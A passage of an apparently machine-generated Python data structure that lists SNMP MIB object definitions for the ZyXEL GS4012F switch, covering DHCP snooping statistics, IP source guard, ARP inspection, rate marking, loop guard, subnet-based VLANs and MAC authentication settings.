"""Total ignored: invalid interface""",
}, # scalar
"dhcpSnpDbStatTotalIgnoreUnsuppVlan" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.25",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Total ignored: unsupported vlans""",
}, # scalar
"dhcpSnpDbStatTotalIgnoreParse" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.26",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Total ignored: parsing error""",
}, # scalar
"dhcpSnpDbStatLastIgnoreTime" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.27",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDhcpVlan" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.6",
}, # node
"dhcpSnpDhcpVlanVid" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.6.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "4094"
},
],
"range" : {
"min" : "0",
"max" : "4094"
},
},
},
"access" : "readwrite",
"description" :
"""0: disable DHCP VLAN.""",
}, # scalar
"ipsg" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101",
}, # node
"ipsgTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1",
"status" : "current",
"description" :
"""""",
}, # table
"ipsgEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1",
"create" : "true",
"status" : "current",
"linkage" : [
"ipsgEntryMac",
"ipsgEntryVid",
],
"description" :
"""""",
}, # row
"ipsgEntryMac" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "MacAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ipsgEntryVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "4094"
},
],
"range" : {
"min" : "1",
"max" : "4094"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ipsgEntryIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ipsgEntryLease" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""second""",
}, # column
"ipsgEntryType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"static" : {
"nodetype" : "namednumber",
"number" : "1"
},
"dhcp" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ipsgEntryPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""0 means any port""",
}, # column
"ipsgEntryState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.101.1.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInspect" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102",
}, # node
"arpInspectSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1",
}, # node
"arpInspectState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"arpInspectFilterAgingTime" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "2147483647"
},
],
"range" : {
"min" : "0",
"max" : "2147483647"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"arpInspectLog" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.3",
}, # node
"arpInspectLogEntries" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.3.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "1024"
},
],
"range" : {
"min" : "0",
"max" : "1024"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"arpInspectLogRate" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.3.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "1024"
},
],
"range" : {
"min" : "0",
"max" : "1024"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"arpInspectLogInterval" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.3.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "2147483647"
},
],
"range" : {
"min" : "0",
"max" : "2147483647"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"arpInspectVlanTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.4",
"status" : "current",
"description" :
"""""",
}, # table
"arpInspectVlanEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.4.1",
"status" : "current",
"linkage" : [
"arpInspectVlanVid",
],
"description" :
"""""",
}, # row
"arpInspectVlanVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.4.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "4094"
},
],
"range" : {
"min" : "1",
"max" : "4094"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectVlanLog" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.4.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"all" : {
"nodetype" : "namednumber",
"number" : "1"
},
"none" : {
"nodetype" : "namednumber",
"number" : "2"
},
"permit" : {
"nodetype" : "namednumber",
"number" : "3"
},
"deny" : {
"nodetype" : "namednumber",
"number" : "4"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInspectVlanStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.4.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"enabled" : {
"nodetype" : "namednumber",
"number" : "1"
},
"disabled" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInspectPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.5",
"status" : "current",
"description" :
"""""",
}, # table
"arpInspectPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.5.1",
"status" : "current",
"linkage" : [
"arpInspectPortIndex",
],
"description" :
"""""",
}, # row
"arpInspectPortIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.5.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectPortTrust" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.5.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"trusted" : {
"nodetype" : "namednumber",
"number" : "1"
},
"untrusted" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInspectPortRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.5.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "2048"
},
],
"range" : {
"min" : "0",
"max" : "2048"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInspectPortInterval" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.1.5.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "15"
},
],
"range" : {
"min" : "1",
"max" : "15"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInspectStatus" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2",
}, # node
"arpInspectFilterClear" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"arpInspectLogClear" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"arpInspectFilterTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3",
"status" : "current",
"description" :
"""""",
}, # table
"arpInspectFilterEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3.1",
"create" : "true",
"status" : "current",
"linkage" : [
"arpInspectFilterMac",
"arpInspectFilterVid",
],
"description" :
"""""",
}, # row
"arpInspectFilterMac" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "MacAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectFilterVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "4094"
},
],
"range" : {
"min" : "1",
"max" : "4094"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectFilterPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectFilterExpiry" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectFilterReason" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"macVid" : {
"nodetype" : "namednumber",
"number" : "1"
},
"port" : {
"nodetype" : "namednumber",
"number" : "2"
},
"ip" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectFilterRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.3.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInspectLogTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4",
"status" : "current",
"description" :
"""""",
}, # table
"arpInspectLogEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4.1",
"status" : "current",
"linkage" : [
"arpInspectLogMac",
"arpInspectLogVid",
"arpInspectLogPort",
"arpInspectLogIp",
],
"description" :
"""""",
}, # row
"arpInspectLogMac" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "MacAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectLogVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "4094"
},
],
"range" : {
"min" : "1",
"max" : "4094"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectLogPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectLogIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectLogNumPkt" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectLogTime" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.4.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "DateAndTime"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectStatisticsTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5",
"status" : "current",
"description" :
"""""",
}, # table
"arpInspectStatisticsEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1",
"status" : "current",
"linkage" : [
"arpInspectStatisticsVid",
],
"description" :
"""""",
}, # row
"arpInspectStatisticsVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectStatisticsReceived" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1.2",
"status" : "current",
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectStatisticsRequest" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1.3",
"status" : "current",
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectStatisticsReply" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1.4",
"status" : "current",
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectStatisticsForward" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1.5",
"status" : "current",
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectStatisticsDrop" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1.6",
"status" : "current",
"access" : "readonly",
"description" :
"""""",
}, # column
"arpInspectStatisticsClear" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.102.2.5.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"trTCMSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103",
}, # node
"trTCMState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Two-rate three color marker enabled/disabled for the switch.""",
}, # scalar
"trTCMMode" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"color-aware" : {
"nodetype" : "namednumber",
"number" : "0"
},
"color-blind" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"trTCMPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3",
"status" : "current",
"description" :
"""""",
}, # table
"trTCMPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3.1",
"create" : "true",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in trTCMPortTable.""",
}, # row
"trTCMPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""Two-rate three color marker enabled/disabled on the port.""",
}, # column
"trTCMPortCIR" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Allowed CIR in pkts/s.""",
}, # column
"trTCMPortPIR" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Allowed PIR in pkts/s.""",
}, # column
"trTCMPortDscpGreen" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""0-63""",
}, # column
"trTCMPortDscpYellow" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""0-63""",
}, # column
"trTCMPortDscpRed" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.103.3.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""0-63""",
}, # column
"loopGuardSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.104",
}, # node
"loopGuardState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.104.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"loopGuardPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.104.2",
"status" : "current",
"description" :
"""""",
}, # table
"loopGuardPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.104.2.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in loopGuardPortTable.""",
}, # row
"loopGuardPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.104.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"subnetBasedVlanSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105",
}, # node
"subnetBasedVlanState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""subnet-based vlan feature enabled/disabled for the switch.""",
}, # scalar
"dhcpVlanOverrideState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""dhcp vlan override enabled/disabled when subnet-based vlan is enabled.""",
}, # scalar
"subnetBasedVlanTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3",
"status" : "current",
"description" :
"""""",
}, # table
"subnetBasedVlanEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3.1",
"create" : "true",
"status" : "current",
"linkage" : [
"subnetBasedVlanSrcIp",
"subnetBasedVlanSrcMaskBit",
],
"description" :
"""An entry in subnetBasedVlanTable.""",
}, # row
"subnetBasedVlanSrcIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""source ip for subnet-based vlan entry""",
}, # column
"subnetBasedVlanSrcMaskBit" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "32"
},
],
"range" : {
"min" : "1",
"max" : "32"
},
},
},
"access" : "readonly",
"description" :
"""source ip mask-bits for subnet-based vlan entry""",
}, # column
"subnetBasedVlanName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"parent module" : {
"name" : "RFC1213-MIB",
"type" : "DisplayString",
},
"ranges" : [
{
"min" : "0",
"max" : "31"
},
],
"range" : {
"min" : "0",
"max" : "31"
},
},
},
"access" : "readwrite",
"description" :
"""name for subnet-based vlan entry""",
}, # column
"subnetBasedVlanVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "4094"
},
],
"range" : {
"min" : "1",
"max" : "4094"
},
},
},
"access" : "readwrite",
"description" :
"""vid for subnet-based vlan entry""",
}, # column
"subnetBasedVlanPriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "7"
},
],
"range" : {
"min" : "0",
"max" : "7"
},
},
},
"access" : "readwrite",
"description" :
"""priority for subnet-based vlan entry""",
}, # column
"subnetBasedVlanEntryState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.105.3.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"macAuthenticationSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106",
}, # node
"macAuthenticationState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"macAuthenticationNamePrefix" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
